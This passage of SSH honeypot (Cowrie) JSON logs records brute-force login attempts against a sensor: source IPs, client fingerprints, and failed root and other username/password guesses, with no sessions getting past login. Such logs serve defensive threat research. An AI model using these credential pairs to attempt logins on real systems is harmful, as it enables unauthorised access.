16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:34.371103Z","src_ip":"103.27.238.120","session":"9279dcaf22d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050319","message":"login attempt [root/050319] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:35.216389Z","src_ip":"103.27.238.120","session":"9279dcaf22d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:36.499890Z","src_ip":"103.27.238.120","session":"9279dcaf22d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":57782,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb46e0c7da98","protocol":"ssh","message":"New connection: 139.59.4.137:57782 (159.203.135.109:22) [session: cb46e0c7da98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:50.648495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:50.652367Z","src_ip":"139.59.4.137","session":"cb46e0c7da98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:50.865107Z","src_ip":"139.59.4.137","session":"cb46e0c7da98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1230.0","message":"login attempt [root/1230.0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:51.742936Z","src_ip":"139.59.4.137","session":"cb46e0c7da98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:05:52.956618Z","src_ip":"139.59.4.137","session":"cb46e0c7da98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":33734,"dst_ip":"10.17.0.5","dst_port":22,"session":"25a2b832fe38","protocol":"ssh","message":"New connection: 162.241.132.172:33734 (10.17.0.5:22) [session: 25a2b832fe38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:22.765650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:22.769693Z","src_ip":"162.241.132.172","session":"25a2b832fe38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:22.798697Z","src_ip":"162.241.132.172","session":"25a2b832fe38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"edge789","message":"login attempt [root/edge789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:22.886057Z","src_ip":"162.241.132.172","session":"25a2b832fe38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:23.917041Z","src_ip":"162.241.132.172","session":"25a2b832fe38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":53496,"dst_ip":"10.17.0.5","dst_port":22,"session":"be6400a2000e","protocol":"ssh","message":"New connection: 23.88.42.180:53496 (10.17.0.5:22) [session: be6400a2000e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:39.748575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:39.751267Z","src_ip":"23.88.42.180","session":"be6400a2000e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:39.849651Z","src_ip":"23.88.42.180","session":"be6400a2000e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blockchain123","message":"login attempt [root/blockchain123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:40.138110Z","src_ip":"23.88.42.180","session":"be6400a2000e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:06:41.236643Z","src_ip":"23.88.42.180","session":"be6400a2000e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":37230,"dst_ip":"159.203.135.109","dst_port":22,"session":"c708b2465623","protocol":"ssh","message":"New connection: 185.242.3.195:37230 (159.203.135.109:22) [session: c708b2465623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:13.818756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:13.822326Z","src_ip":"185.242.3.195","session":"c708b2465623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:13.912878Z","src_ip":"185.242.3.195","session":"c708b2465623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe1234%^","message":"login attempt [root/qwe1234%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:14.186431Z","src_ip":"185.242.3.195","session":"c708b2465623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:15.279795Z","src_ip":"185.242.3.195","session":"c708b2465623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.213.198","src_port":44198,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ca2ed72d8f7","protocol":"ssh","message":"New connection: 162.144.213.198:44198 (10.17.0.5:22) [session: 4ca2ed72d8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:39.074281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:39.079366Z","src_ip":"162.144.213.198","session":"4ca2ed72d8f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:39.160221Z","src_ip":"162.144.213.198","session":"4ca2ed72d8f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snx2024","message":"login attempt [root/snx2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:39.407483Z","src_ip":"162.144.213.198","session":"4ca2ed72d8f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:08:40.776605Z","src_ip":"162.144.213.198","session":"4ca2ed72d8f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":58488,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0634e59d842","protocol":"ssh","message":"New connection: 99.252.20.159:58488 (10.17.0.5:22) [session: b0634e59d842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:13.306455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:13.310205Z","src_ip":"99.252.20.159","session":"b0634e59d842","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:13.347270Z","src_ip":"99.252.20.159","session":"b0634e59d842","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ndjamena_crypto","password":"ndjamena123","message":"login attempt [ndjamena_crypto/ndjamena123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:13.460785Z","src_ip":"99.252.20.159","session":"b0634e59d842","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:14.503865Z","src_ip":"99.252.20.159","session":"b0634e59d842","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":56108,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d71318a3674","protocol":"ssh","message":"New connection: 162.241.177.22:56108 (159.203.135.109:22) [session: 6d71318a3674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:19.501344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:19.506212Z","src_ip":"162.241.177.22","session":"6d71318a3674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:19.529348Z","src_ip":"162.241.177.22","session":"6d71318a3674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pyth!M@st3r#P@ss","message":"login attempt [root/Pyth!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:19.601142Z","src_ip":"162.241.177.22","session":"6d71318a3674","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:20.626883Z","src_ip":"162.241.177.22","session":"6d71318a3674","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.64.128","src_port":44336,"dst_ip":"159.203.135.109","dst_port":22,"session":"94d20478443a","protocol":"ssh","message":"New connection: 162.144.64.128:44336 (159.203.135.109:22) [session: 94d20478443a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:55.705400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:55.709358Z","src_ip":"162.144.64.128","session":"94d20478443a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:55.791333Z","src_ip":"162.144.64.128","session":"94d20478443a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kathmandu_nepal","password":"kathmandu123","message":"login attempt [kathmandu_nepal/kathmandu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:56.038148Z","src_ip":"162.144.64.128","session":"94d20478443a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:10:57.123230Z","src_ip":"162.144.64.128","session":"94d20478443a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":50320,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f58aedf2304","protocol":"ssh","message":"New connection: 108.179.220.174:50320 (159.203.135.109:22) [session: 7f58aedf2304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:12.830925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:11:12.834980Z","src_ip":"108.179.220.174","session":"7f58aedf2304","protocol":"ssh"}
